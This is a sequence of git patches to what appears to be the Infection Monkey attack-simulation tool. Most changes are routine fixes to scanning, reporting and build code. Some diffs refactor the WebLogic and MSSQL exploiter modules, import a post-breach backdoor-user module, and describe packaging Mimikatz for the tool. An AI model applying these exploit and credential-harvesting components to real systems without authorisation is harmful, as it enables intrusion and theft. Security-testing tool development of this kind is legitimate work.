get_monkey_island_node(): island_node = NodeService.get_monkey_island_pseudo_net_node() island_node["ip_addresses"] = local_ip_addresses() + island_node["domain_name"] = "" return island_node @staticmethod From 847286dec7d66ee167016526725ec3a73f4d30f8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 2 Oct 2018 15:05:06 +0300 Subject: [PATCH 106/201] Modified front end to inform user that he can enter URL's , not only IP's --- monkey/monkey_island/cc/services/config.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index b23e5cd19..ae5755174 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -10,6 +10,7 @@ from cc.encryptor import encryptor from cc.environment.environment import env from cc.utils import local_ip_addresses from config_schema import SCHEMA + __author__ = "itay.mizeretz" logger = logging.getLogger(__name__) From 7d34c290cc8b4e613413c657af7543c6dc4fe830 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 2 Oct 2018 16:41:52 +0300 Subject: [PATCH 107/201] Added support for invalid domain AND added front end files not commited in previous commits --- monkey/common/network/network_range.py | 20 +++++++++++++++++-- .../report-components/BreachedServers.js | 3 ++- .../report-components/ScannedServers.js | 3 ++- 3 files changed, 22 insertions(+), 4 deletions(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 3adace9bc..088177f11 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -120,12 +120,28 @@ class SingleIpRange(NetworkRange): def __repr__(self): return "" % (self._ip_address,) + def __iter__(self): + """ + We have to check if we have an IP to return, because user could have entered invalid + domain name and no IP was found + :return: IP if there is one + """ + if self.ip_found(): + yield self._number_to_ip(self.get_range()[0]) + def is_in_range(self, ip_address): return self._ip_address == ip_address def _get_range(self): return [SingleIpRange._ip_to_number(self._ip_address)] + def ip_found(self): + """ + Checks if we could translate domain name entered into IP address + :return: True if dns found domain name and false otherwise + """ + return hasattr(self, "_ip_address") and self._ip_address + @staticmethod def string_to_host(string): """ @@ -144,7 +160,7 @@ class SingleIpRange(NetworkRange): domain_name = string except socket.error: LOG.error( - "You'r specified host: {} is neither found as domain name nor it's an IP address".format(string)) - return socket.error + "You'r specified host: {} is not found as a domain name and it's not an IP address".format(string)) + return None, string return ip, domain_name diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js index d23a14c38..381380af7 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js @@ -10,7 +10,8 @@ const columns = [ Header: 'Breached Servers', columns: [ {Header: 'Machine', accessor: 'label'}, - {Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderArray(x.ip_addresses)}, + {Header: 'IP Addresses', id: 'ip_addresses', + accessor: x => renderArray(x.ip_addresses)+(x.domain_name ? " ("+x.domain_name+")" : "")}, {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)} ] } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js index 9b62bbdc5..c81e57340 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js @@ -10,7 +10,8 @@ const columns = [ Header: 'Scanned Servers', columns: [ { Header: 'Machine', accessor: 'label'}, - { Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderArray(x.ip_addresses)}, + { Header: 'IP Addresses', id: 'ip_addresses', + accessor: x => renderArray(x.ip_addresses)+(x.domain_name ? " ("+x.domain_name+")" : "")}, { Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)}, { Header: 'Services', id: 'services', accessor: x => renderArray(x.services)} ] From d35634b729f6ca7575f2a2f39030ca9606f51b35 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sat, 15 Dec 2018 16:42:20 +0200 Subject: [PATCH 108/201] Small fixes --- monkey/monkey_island/cc/services/node.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 77bdf6ed7..c73fdc5a6 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -63,9 +63,10 @@ class NodeService: @staticmethod def get_node_label(node): + domain_name = node["domain_name"] if node["domain_name"]: - node["domain_name"] = " ("+node["domain_name"]+")" - return node["os"]["version"] + " : " + node["ip_addresses"][0] + node["domain_name"] + domain_name = " ("+node["domain_name"]+")" + return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name @staticmethod def _cmp_exploits_by_timestamp(exploit_1, exploit_2): From 4f0606d6fb57df40d0b700fc388d7427abe2ccc7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sun, 6 Jan 2019 13:49:40 +0200 Subject: [PATCH 109/201] Fixed PR comments (ip casting, typos) --- monkey/common/network/network_range.py | 20 +++++++++++++------- monkey/monkey_island/cc/services/node.py | 2 +- 2 files changed, 14 insertions(+), 8 deletions(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 088177f11..e77d09fdf 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -140,27 +140,33 @@ class SingleIpRange(NetworkRange): Checks if we could translate domain name entered into IP address :return: True if dns found domain name and false otherwise """ - return hasattr(self, "_ip_address") and self._ip_address + return self._ip_address @staticmethod def string_to_host(string): """ - Converts the string that user entered in "Scan IP/subnet list" to dict of domain name and ip + Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip :param string: String that was entered in "Scan IP/subnet list" :return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com) """ # The most common use case is to enter ip/range into "Scan IP/subnet list" domain_name = '' - ip = string - # If a string was entered instead of IP we presume that it was domain name and translate it - if re.search('[a-zA-Z]', string): + # Make sure to have unicode string + user_input = string.decode('utf-8', 'ignore') + + # Try casting user's input as IP + try: + ip = ipaddress.ip_address(user_input).exploded + except ValueError: + # Exception means that it's a domain name try: ip = socket.gethostbyname(string) domain_name = string except socket.error: - LOG.error( - "You'r specified host: {} is not found as a domain name and it's not an IP address".format(string)) + LOG.error("Your specified host: {} is not found as a domain name and" + " it's not an IP address".format(string)) return None, string + # If a string was entered instead of IP we presume that it was domain name and translate it return ip, domain_name diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index c73fdc5a6..6fc86920c 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -63,7 +63,7 @@ class NodeService: @staticmethod def get_node_label(node): - domain_name = node["domain_name"] + domain_name = "" if node["domain_name"]: domain_name = " ("+node["domain_name"]+")" return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name From bf26ed88818b619aa005617ee62c8a692980a988 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sun, 27 Jan 2019 14:21:39 +0200 Subject: [PATCH 110/201] Fixed some errors poined out in PR --- monkey/common/network/network_range.py | 13 ++++++++++++- monkey/infection_monkey/model/host.py | 2 +- monkey/monkey_island/cc/services/node.py | 3 ++- 3 files changed, 15 insertions(+), 3 deletions(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index e77d09fdf..1dddbc086 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -51,12 +51,23 @@ class NetworkRange(object): address_str = address_str.strip() if not address_str: # Empty string return None - if -1 != address_str.find('-'): + if NetworkRange.check_if_range(address_str): return IpRange(ip_range=address_str) if -1 != address_str.find('/'): return CidrRange(cidr_range=address_str) return SingleIpRange(ip_address=address_str) + @staticmethod + def check_if_range(address_str): + if -1 != address_str.find('-'): + ips = address_str.split('-') + try: + ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1]) + except ValueError as e: + return False + return True + return False + @staticmethod def _ip_to_number(address): return struct.unpack(">L", socket.inet_aton(address))[0] diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 592cb290a..dcc6e7455 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -4,7 +4,7 @@ __author__ = 'itamar' class VictimHost(object): def __init__(self, ip_addr, domain_name=''): self.ip_addr = ip_addr - self.domain_name = domain_name + self.domain_name = str(domain_name) self.os = {} self.services = {} self.monkey_exe = None diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 6fc86920c..50c921be8 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -6,6 +6,7 @@ import cc.services.log from cc.database import mongo from cc.services.edge import EdgeService from cc.utils import local_ip_addresses +import socket __author__ = "itay.mizeretz" @@ -267,7 +268,7 @@ class NodeService: def get_monkey_island_node(): island_node = NodeService.get_monkey_island_pseudo_net_node() island_node["ip_addresses"] = local_ip_addresses() - island_node["domain_name"] = "" + island_node["domain_name"] = socket.gethostname() return island_node @staticmethod From d028c707382bcfda31405b63543c7345561ec54f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 28 Jan 2019 12:01:56 +0200 Subject: [PATCH 111/201] Fixed bug related to '-' and displaying scanned servers --- monkey/common/network/network_range.py | 1 - monkey/monkey_island/cc/services/report.py | 4 +++- .../ui/src/components/report-components/BreachedServers.js | 6 +++++- .../ui/src/components/report-components/ScannedServers.js | 6 +++++- 4 files changed, 13 insertions(+), 4 deletions(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 1dddbc086..de89f7e4a 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -6,7 +6,6 @@ from abc import ABCMeta, abstractmethod import ipaddress from six import text_type import logging -import re __author__ = 'itamar' diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 8e4d42abd..50d24d692 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -131,7 +131,8 @@ class ReportService: list((x['hostname'] for x in (NodeService.get_displayed_node_by_id(edge['from'], True) for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), - 'services': node['services'] + 'services': node['services'], + 'domain_name': node['domain_name'] }) logger.info('Scanned nodes generated for reporting') @@ -151,6 +152,7 @@ class ReportService: { 'label': monkey['label'], 'ip_addresses': monkey['ip_addresses'], + 'domain_name': node['domain_name'], 'exploits': list(set( [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if exploit['result']])) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js index 381380af7..16f445ce9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js @@ -5,13 +5,17 @@ let renderArray = function(val) { return
    {val.map(x =>
    {x}
    )}
    ; }; +let renderIpAddresses = function (val) { + return
    {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
    ; +}; + const columns = [ { Header: 'Breached Servers', columns: [ {Header: 'Machine', accessor: 'label'}, {Header: 'IP Addresses', id: 'ip_addresses', - accessor: x => renderArray(x.ip_addresses)+(x.domain_name ? " ("+x.domain_name+")" : "")}, + accessor: x => renderIpAddresses(x)}, {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)} ] } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js index c81e57340..57418e415 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js @@ -5,13 +5,17 @@ let renderArray = function(val) { return
    {val.map(x =>
    {x}
    )}
    ; }; +let renderIpAddresses = function (val) { + return
    {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
    ; +}; + const columns = [ { Header: 'Scanned Servers', columns: [ { Header: 'Machine', accessor: 'label'}, { Header: 'IP Addresses', id: 'ip_addresses', - accessor: x => renderArray(x.ip_addresses)+(x.domain_name ? " ("+x.domain_name+")" : "")}, + accessor: x => renderIpAddresses(x)}, { Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)}, { Header: 'Services', id: 'services', accessor: x => renderArray(x.services)} ] From 38276f4abb9c0b7e4b337fabf64fb2d90872c811 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 28 Jan 2019 17:50:29 +0200 Subject: [PATCH 112/201] Fix to properly divide as float --- monkey/infection_monkey/network/network_scanner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index e9555374f..8a69e3031 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -113,7 +113,7 @@ class NetworkScanner(object): if WormConfiguration.tcp_scan_interval: # time.sleep uses seconds, while config is in milliseconds - time.sleep(WormConfiguration.tcp_scan_interval/1000) + time.sleep(WormConfiguration.tcp_scan_interval/float(1000)) @staticmethod def _is_any_ip_in_subnet(ip_addresses, subnet_str): From 072677ac10b58f6e5878d7d3eaa632bf6af180bd Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 28 Jan 2019 18:21:04 +0200 Subject: [PATCH 113/201] wmi info handler does not crash if no wmi info is collected --- .../monkey_island/cc/services/wmi_handler.py | 20 +++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py index 5842ae5c6..fec12c152 100644 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -13,11 +13,18 @@ class WMIHandler(object): self.monkey_id = monkey_id self.info_for_mongo = {} self.users_secrets = user_secrets - self.users_info = wmi_info['Win32_UserAccount'] - self.groups_info = wmi_info['Win32_Group'] - self.groups_and_users = wmi_info['Win32_GroupUser'] - self.services = wmi_info['Win32_Service'] - self.products = wmi_info['Win32_Product'] + if not wmi_info: + self.users_info = "" + self.groups_info = "" + self.groups_and_users = "" + self.services = "" + self.products = "" + else: + self.users_info = wmi_info['Win32_UserAccount'] + self.groups_info = wmi_info['Win32_Group'] + self.groups_and_users = wmi_info['Win32_GroupUser'] + self.services = wmi_info['Win32_Service'] + self.products = wmi_info['Win32_Product'] def process_and_handle_wmi_info(self): @@ -25,7 +32,8 @@ class WMIHandler(object): self.add_users_to_collection() self.create_group_user_connection() self.insert_info_to_mongo() - self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id) + if self.info_for_mongo: + self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id) self.update_admins_retrospective() self.update_critical_services() From e0a98664f64d9a6e77a04f55a7f0971cdc431360 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 29 Jan 2019 10:17:25 +0200 Subject: [PATCH 114/201] Fixes the config import on MSSQL exploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 985394a29..128755de0 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -21,7 +21,6 @@ class MSSQLExploiter(HostExploiter): def __init__(self, host): super(MSSQLExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration self.attacks_list = [mssqlexec_utils.CmdShellAttack] def create_payload_file(self, payload_path=DEFAULT_PAYLOAD_PATH): From 11c0d7773e7b57a7345d89a6142ec7c00416b366 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 29 Jan 2019 11:51:42 +0200 Subject: [PATCH 115/201] Fixed telemetry expecting a 'scanner' field --- .../monkey_island/cc/resources/telemetry.py | 22 +++++++++---------- 1 file changed, 10 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index be363ce33..57148aa0f 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -149,8 +149,7 @@ class Telemetry(flask_restful.Resource): new_scan = \ { "timestamp": telemetry_json["timestamp"], - "data": data, - "scanner": telemetry_json['data']['scanner'] + "data": data } mongo.db.edge.update( {"_id": edge["_id"]}, @@ -160,16 +159,15 @@ class Telemetry(flask_restful.Resource): node = mongo.db.node.find_one({"_id": edge["to"]}) if node is not None: - if new_scan["scanner"] == "TcpScanner": - scan_os = new_scan["data"]["os"] - if "type" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.type": scan_os["type"]}}, - upsert=False) - if "version" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.version": scan_os["version"]}}, - upsert=False) + scan_os = new_scan["data"]["os"] + if "type" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.type": scan_os["type"]}}, + upsert=False) + if "version" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.version": scan_os["version"]}}, + upsert=False) @staticmethod def process_system_info_telemetry(telemetry_json): From 7ab22bb3e99bdeeb6a2ec4c8043f74cc0707a5a1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 29 Jan 2019 13:09:38 +0200 Subject: [PATCH 116/201] Syntactic, small changes to weblogic and web_rce --- monkey/infection_monkey/exploit/web_rce.py | 2 +- monkey/infection_monkey/exploit/weblogic.py | 17 +++++++++-------- 2 files changed, 10 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 6bc5fee37..d797f3a95 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -54,7 +54,7 @@ class WebRCE(HostExploiter): exploit_config['upload_commands'] = None # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] - exploit_config['url_extensions'] = None + exploit_config['url_extensions'] = [] # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. exploit_config['stop_checking_urls'] = False diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 98b20ad6c..7cd1045f9 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -69,7 +69,7 @@ class WebLogicExploiter(WebRCE): print(e) return True - def add_vulnerable_urls(self, urls): + def add_vulnerable_urls(self, urls, stop_checking=False): """ Overrides parent method to use listener server """ @@ -78,7 +78,7 @@ class WebLogicExploiter(WebRCE): exploitable = False for url in urls: - if self.check_if_exploitable(url, httpd): + if self.check_if_exploitable_weblogic(url, httpd): exploitable = True break @@ -95,8 +95,8 @@ class WebLogicExploiter(WebRCE): self._stop_http_server(httpd, lock) - def check_if_exploitable(self, url, httpd): - payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port) + def check_if_exploitable_weblogic(self, url, httpd): + payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) try: post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False) except exceptions.ReadTimeout: @@ -120,7 +120,8 @@ class WebLogicExploiter(WebRCE): lock.acquire() return httpd, lock - def _stop_http_server(self, httpd, lock): + @staticmethod + def _stop_http_server(httpd, lock): lock.release() httpd.join(SERVER_TIMEOUT) httpd.stop() @@ -194,8 +195,8 @@ class WebLogicExploiter(WebRCE): we determine if we can exploit by either getting a GET request from host or not. """ def __init__(self, local_ip, local_port, lock, max_requests=1): - self._local_ip = local_ip - self._local_port = local_port + self.local_ip = local_ip + self.local_port = local_port self.get_requests = 0 self.max_requests = max_requests self._stopped = False @@ -210,7 +211,7 @@ class WebLogicExploiter(WebRCE): LOG.info('Server received a request from vulnerable machine') self.get_requests += 1 LOG.info('Server waiting for exploited machine request...') - httpd = HTTPServer((self._local_ip, self._local_port), S) + httpd = HTTPServer((self.local_ip, self.local_port), S) httpd.daemon = True self.lock.release() while not self._stopped and self.get_requests < self.max_requests: From d2185d678308a7ff2e8811076c132114bb765c31 Mon Sep 17 00:00:00 2001 From: VakarisZ <36815064+VakarisZ@users.noreply.github.com> Date: Tue, 29 Jan 2019 17:56:37 +0200 Subject: [PATCH 117/201] Update readme.txt --- monkey/infection_monkey/readme.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt index 66ba14992..eb757d144 100644 --- a/monkey/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -1,5 +1,5 @@ To get development versions of Monkey Island and Monkey look into deployment scripts folder. -If you only want to monkey from scratch you may refer to the instructions below. +If you only want to build monkey from scratch you may reference instructions below. The monkey is composed of three separate parts. * The Infection Monkey itself - PyInstaller compressed python archives @@ -76,4 +76,4 @@ Alternatively, if you build Mimikatz, put each version in a zip file. 1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll 2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'. 3. The zip file should be named mk32.zip/mk64.zip accordingly. -4. Zipping with 7zip has been tested. Other zipping software may not work. \ No newline at end of file +4. Zipping with 7zip has been tested. Other zipping software may not work. From a65c1d3792df8e9e895165760261334b6b3e5ea0 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 30 Jan 2019 10:31:29 +0200 Subject: [PATCH 118/201] BUGFIX Remove scanner class lookup since it doesn't exist anymore --- monkey/infection_monkey/config.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 3d572dc67..ff66ff167 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -34,9 +34,6 @@ class Configuration(object): if key == 'finger_classes': class_objects = [getattr(network_import, val) for val in value] setattr(self, key, class_objects) - elif key == 'scanner_class': - scanner_object = getattr(network_import, value) - setattr(self, key, scanner_object) elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) From 2faa89068c944da4b3872f37bc334f963c9685bf Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 30 Jan 2019 12:50:06 +0200 Subject: [PATCH 119/201] Add mssql as a hidden import for windows. Seems to require --- monkey/infection_monkey/monkey.spec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 7315e10f5..2a77f535f 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -85,7 +85,7 @@ def get_linux_only_binaries(): def get_hidden_imports(): - return ['_cffi_backend', 'queue'] if is_windows() else ['_cffi_backend'] + return ['_cffi_backend', 'queue', '_mssql'] if is_windows() else ['_cffi_backend'] def get_sc_binaries(): From 2557b76d5f0770413d736454ae7ef01133e754de Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 30 Jan 2019 13:35:34 +0200 Subject: [PATCH 120/201] Pyinstaller on Linux 32 bit also seems to miss mssql --- monkey/infection_monkey/monkey.spec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 2a77f535f..ac6e9f03e 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -85,7 +85,7 @@ def get_linux_only_binaries(): def get_hidden_imports(): - return ['_cffi_backend', 'queue', '_mssql'] if is_windows() else ['_cffi_backend'] + return ['_cffi_backend', 'queue', '_mssql'] if is_windows() else ['_cffi_backend','_mssql'] def get_sc_binaries(): From 4374760f16016db38802a92313a3ed513d50cffd Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 30 Jan 2019 14:46:10 +0200 Subject: [PATCH 121/201] New line at end of file --- monkey/infection_monkey/post_breach/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py index 3faa2233e..2bd5547b4 100644 --- a/monkey/infection_monkey/post_breach/__init__.py +++ b/monkey/infection_monkey/post_breach/__init__.py @@ -1,4 +1,4 @@ __author__ = 'danielg' -from add_user import BackdoorUser \ No newline at end of file +from add_user import BackdoorUser From 5702ee4b2ec55441bed12b496d156db7e7dac8ce Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 30 Jan 2019 14:56:34 +0200 Subject: [PATCH 122/201] Add dummy import for pyinstaller purposes --- monkey/infection_monkey/main.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 453c155b5..d12414eae 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -13,6 +13,7 @@ from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE from infection_monkey.dropper import MonkeyDrops from infection_monkey.model import MONKEY_ARG, DROPPER_ARG from infection_monkey.monkey import InfectionMonkey +import infection_monkey.post_breach # dummy import for pyinstaller __author__ = 'itamar' From f89b1c52a95ed2a24a493f77a37c5b60452c8e13 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 30 Jan 2019 16:54:08 +0200 Subject: [PATCH 123/201] Fixed bug (from node['domain_name'] to monkey['domain_name'] --- monkey/monkey_island/cc/services/report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 50d24d692..73ca69b5b 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -152,7 +152,7 @@ class ReportService: { 'label': monkey['label'], 'ip_addresses': monkey['ip_addresses'], - 'domain_name': node['domain_name'], + 'domain_name': monkey['domain_name'], 'exploits': list(set( [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if exploit['result']])) From f5ba65d6541299234d0ae0a2a7a3a9d3535d6477 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 30 Jan 2019 18:31:17 +0200 Subject: [PATCH 124/201] BUGFIX Make sure we don't crash with bad telemetry --- monkey/monkey_island/cc/resources/telemetry_feed.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index f14c5d29f..672a593fa 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -35,7 +35,7 @@ class TelemetryFeed(flask_restful.Resource): { 'id': telem['_id'], 'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'), - 'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'], + 'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid']).get('hostname','missing'), 'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem) } From 378baa7139c1e5d94380d57e9e49eb5cb0f3531e Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 3 Feb 2019 14:18:08 +0200 Subject: [PATCH 125/201] Add most infrastrucure for running AWS commands --- .../common/cloud/{aws.py => aws_instance.py} | 2 +- monkey/common/cloud/aws_service.py | 41 +++++++++++++++++++ monkey/common/cmd/__init__.py | 0 monkey/common/cmd/aws_cmd_result.py | 20 +++++++++ monkey/common/cmd/aws_cmd_runner.py | 39 ++++++++++++++++++ monkey/common/cmd/cmd_result.py | 12 ++++++ monkey/common/cmd/cmd_runner.py | 22 ++++++++++ .../system_info/aws_collector.py | 4 +- monkey/monkey_island/cc/environment/aws.py | 4 +- .../cc/resources/aws_exporter.py | 4 +- .../monkey_island/cc/resources/remote_run.py | 20 +++++++++ 11 files changed, 161 insertions(+), 7 deletions(-) rename monkey/common/cloud/{aws.py => aws_instance.py} (95%) create mode 100644 monkey/common/cloud/aws_service.py create mode 100644 monkey/common/cmd/__init__.py create mode 100644 monkey/common/cmd/aws_cmd_result.py create mode 100644 monkey/common/cmd/aws_cmd_runner.py create mode 100644 monkey/common/cmd/cmd_result.py create mode 100644 monkey/common/cmd/cmd_runner.py create mode 100644 monkey/monkey_island/cc/resources/remote_run.py diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws_instance.py similarity index 95% rename from monkey/common/cloud/aws.py rename to monkey/common/cloud/aws_instance.py index 7937815ef..86b8d1a34 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws_instance.py @@ -3,7 +3,7 @@ import urllib2 __author__ = 'itay.mizeretz' -class AWS(object): +class AwsInstance(object): def __init__(self): try: self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() diff --git a/monkey/common/cloud/aws_service.py b/monkey/common/cloud/aws_service.py new file mode 100644 index 000000000..0cc641356 --- /dev/null +++ b/monkey/common/cloud/aws_service.py @@ -0,0 +1,41 @@ +import boto3 + +__author__ = 